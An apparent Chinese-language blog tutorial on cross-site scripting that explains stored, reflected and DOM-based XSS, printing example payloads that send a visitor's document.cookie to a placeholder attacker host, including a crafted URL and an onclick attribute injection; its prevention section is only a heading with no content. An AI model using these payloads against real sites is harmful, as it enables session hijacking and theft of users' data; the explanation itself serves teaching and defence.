XSS跨站脚本攻击及其防范措施

2020-08-20  本文已影响0人  文景大大

XSS,全称cross site scripting,是指黑客将恶意脚本代码嵌入网页中,当客户访问网页时,恶意脚本代码自动执行,从而达成黑客攻击目的的漏洞。

其主要危害就是cookie泄露,导致非法获取网站正常用户的权限,从而导致用户隐私数据的泄露。

一、存储型XSS

这种类型的XSS危害最大。

黑客在正常的评论、留言页面输入脚本<script>alert("xss")</script>,页面会把它当做正常的留言内容保存到后端。

任何用户在查看这条留言内容的时候,都会中招。倘若脚本是如下这种:

<script>
new Image().src="http://黑客的主机?cookie="+document.cookie;
</script>

那么任何用户在查看这条留言的时候就会将自己的cookie发送给黑客,从而泄露了自己的cookie。

二、反射型XSS

这种攻击方式需要诱导用户点击黑客特制的链接才能实现。

比如用户已经登录网站,现在网站上有一个get请求是将name参数传递到后端,然后后端再将name的内容返回给前端进行展示的。

黑客将这个链接改造成如下的样子:

http://正常的网站?name=<script>new Image().src=
"http://黑客的主机?cookie="+encodeURI(document.cookie);</script>

然后,黑客会诱导已经登录的用户点击这个链接,当点击后,用户的cookie就发送到了黑客的主机上,从而泄露了cookie。

三、DOM型XSS

区别于前两种XSS,DOM型XSS的发生过程不会与后端有交互,是纯前端造成的。

假设正常网站会将用户的输入或者URL上的参数作为标签的属性填入DOM中,那么黑客就可以使用特制的输入内容或者诱导用户点击链接,来使得原标签闭合,并触发嵌入的恶意脚本。

比如,页面上有这样一个标签,其href的内容采用了用户输入的内容或者URL链接上的部分参数。

<a href="+输入内容或者URL参数+">点击</a>

然后,黑客将输入内容或者URL的参数值改为:

#" onclick="new Image().src='http://黑客的主机?cookie='+document.cookie;

那么这个超链接就变成了如下的形式:

<a href="#" onclick="new Image().src='http://黑客的主机?
cookie='+document.cookie;">点击</a>

如此,当用户点击这个按钮的时候,就会将自己的cookie发送给黑客,从而泄露的cookie。

四、如何防范XSS攻击

五、参考文献

面试问题如何预防xss攻击
XSS的原理分析与解剖
XSS漏洞详解
DOM型XSS深度剖析

上一篇 下一篇

猜你喜欢

热点阅读